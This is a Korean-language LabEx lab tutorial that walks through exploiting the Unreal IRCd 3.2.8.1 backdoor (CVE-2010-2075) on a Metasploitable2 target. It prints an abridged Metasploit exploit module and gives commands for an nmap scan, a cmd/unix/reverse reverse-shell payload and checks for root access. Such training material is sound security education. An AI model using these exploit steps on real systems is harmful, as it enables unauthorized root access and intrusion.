소개
이번 실습에서는 LabEx 플랫폼에서 호스팅되는 Metasploitable2 타겟 머신에서 Unreal IRCd 서비스를 공격하는 방법을 배웁니다. 먼저 Unreal IRCd 서비스의 취약점에 대해 이해한 다음, Nmap을 사용하여 취약점 스캔을 수행합니다. 취약한 서비스를 식별한 후에는 Metasploit 프레임워크를 활용하여 해당 취약점을 공격하고 타겟 머신에 대한 원격 셸(remote shell)을 획득합니다. 마지막으로, 침투된 시스템에서 명령어를 실행하여 공격 성공 여부를 검증합니다.
Unreal IRCd 취약점 이해 및 실험 환경 시작
Unreal IRCd 3.2.8.1 버전에는 원격 공격자가 영향을 받는 시스템에서 임의의 코드를 실행할 수 있게 하는 백도어 취약점(CVE-2010-2075)이 포함되어 있습니다. 이 취약점은 DEBUG3_DOLOG_SYSTEM 매크로에 존재하며, 공격자가 악용할 수 있는 외부 악성 코드가 포함되어 있습니다.
관련 정보:
이 취약점을 공격하기 위한 Metasploit 모듈:
Metasploit 모듈에 대한 간략한 개요는 다음과 같습니다:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
이제 실험을 위해 공격 머신(Kali Linux 컨테이너)과 타겟 머신(Metasploitable2 가상 머신)을 시작합니다.
- LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령어를 실행하여 Metasploitable2 타겟을 시작합니다:
sudo virsh start Metasploitable2
타겟 머신이 시작될 때까지 1~3분 정도 기다립니다.
- ping을 보내 타겟 머신과의 연결을 테스트합니다:
ping 192.168.122.102
Ctrl+C를 눌러 ping을 중지합니다.
- Kali Linux 컨테이너를 실행하고 다음 명령어를 통해 bash 환경으로 진입합니다:
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내부에서 타겟 머신으로의 네트워크 연결을 테스트합니다:
ping 192.168.122.102
Ctrl+C를 눌러 ping을 중지합니다.
이제 공격 머신과 타겟 머신이 모두 실행 중이며, 모의 해킹을 시작할 수 있습니다.
참고: 실수로 현재 bash를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash에 진입하여 실험을 계속할 수 있습니다.
취약점 스캔 수행
이 단계에서는 타겟 머신에 대해 취약점 스캔을 수행하여 열려 있는 포트와 해당 포트에서 실행 중인 서비스를 식별합니다. 이를 위해 강력한 Nmap(Network Mapper) 도구를 사용합니다.
- Kali Linux 컨테이너에서 Metasploit 콘솔을 실행합니다:
cd ~
msfconsole
- Metasploit 콘솔 내에서
nmap명령어를 사용하여 타겟 머신을 스캔합니다:
nmap -sV -T4 192.168.122.102
-sV 옵션은 열린 포트에 대한 버전 탐지를 활성화하며, -T4는 타이밍 정책을 공격적인 수준(1-5, 높을수록 빠름)으로 설정합니다.
출력 결과에서 unreal ircd 서비스가 실행 중인 6667 포트가 열려 있는 것을 확인할 수 있습니다.
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요
Unreal IRCd 취약점 공격
이제 6667 포트에서 실행 중인 취약한 Unreal IRCd 서비스를 식별했으므로, Metasploit 프레임워크를 사용하여 공격을 진행할 수 있습니다.
- 먼저 Metasploit 콘솔에 있지 않다면, 콘솔을 시작합니다:
cd ~
msfconsole
- Metasploit 콘솔에서
unreal_ircd_3281_backdoor모듈을 검색합니다:
search unreal_ircd_3281_backdoor
- 모듈을 로드합니다:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- 타겟 호스트를 설정합니다:
set RHOST 192.168.122.102
- 모듈에 대한 리버스 셸(reverse shell) 페이로드를 설정합니다:
set PAYLOAD cmd/unix/reverse
- 리버스 셸을 수신할 Kali 호스트 IP 주소를 설정합니다:
set LHOST 192.168.122.1
- 공격을 실행합니다:
exploit
공격이 성공하면 타겟 머신에 대한 원격 셸을 획득하게 됩니다. Metasploit에 명령어 셸 세션이 열렸다는 메시지가 출력되면, 해당 셸에서 검증 명령어를 계속 실행할 수 있습니다.
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요
공격 검증
공격이 성공했는지 확인하기 위해 이전 단계에서 획득한 원격 셸에서 명령어를 실행해 봅니다.
- 먼저 Metasploit 콘솔에 있지 않다면, 콘솔을 시작합니다:
cd ~
msfconsole
whoami명령어로 현재 사용자를 확인합니다:
whoami
hostname명령어로 호스트 이름을 확인합니다:
hostname
ifconfig명령어로 IP 주소를 확인합니다:
ifconfig
출력 결과에서 현재 사용자가 root이고, 호스트 이름이 metasploitable이며, IP 주소가 타겟 머신(192.168.122.102)과 일치한다면 공격이 성공적으로 수행되었으며 타겟 시스템에 대한 완전한 제어권을 획득했음을 의미합니다.
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요
요약
이번 실습에서는 Unreal IRCd 취약점에 대해 알아보고 Metasploit 프레임워크를 사용하여 이를 공격하는 방법을 배웠습니다. 취약점의 원리와 그 영향력을 이해하는 것부터 시작하여, 취약점 스캔을 통해 취약한 서비스를 식별했습니다. 6667 포트에서 실행 중인 Unreal IRCd 서비스를 발견한 후, 적절한 Metasploit 모듈을 사용하여 취약점을 공격하고 타겟 머신에 대한 원격 접근 권한을 획득했습니다. 마지막으로 침투된 시스템에서 명령어를 실행하여 공격 성공 여부를 검증했습니다. 이 실습은 윤리적 해커와 사이버 보안 전문가에게 필수적인 취약점 분석, 공격 기법, 그리고 공격 후 검증에 대한 실무 경험을 제공했습니다.



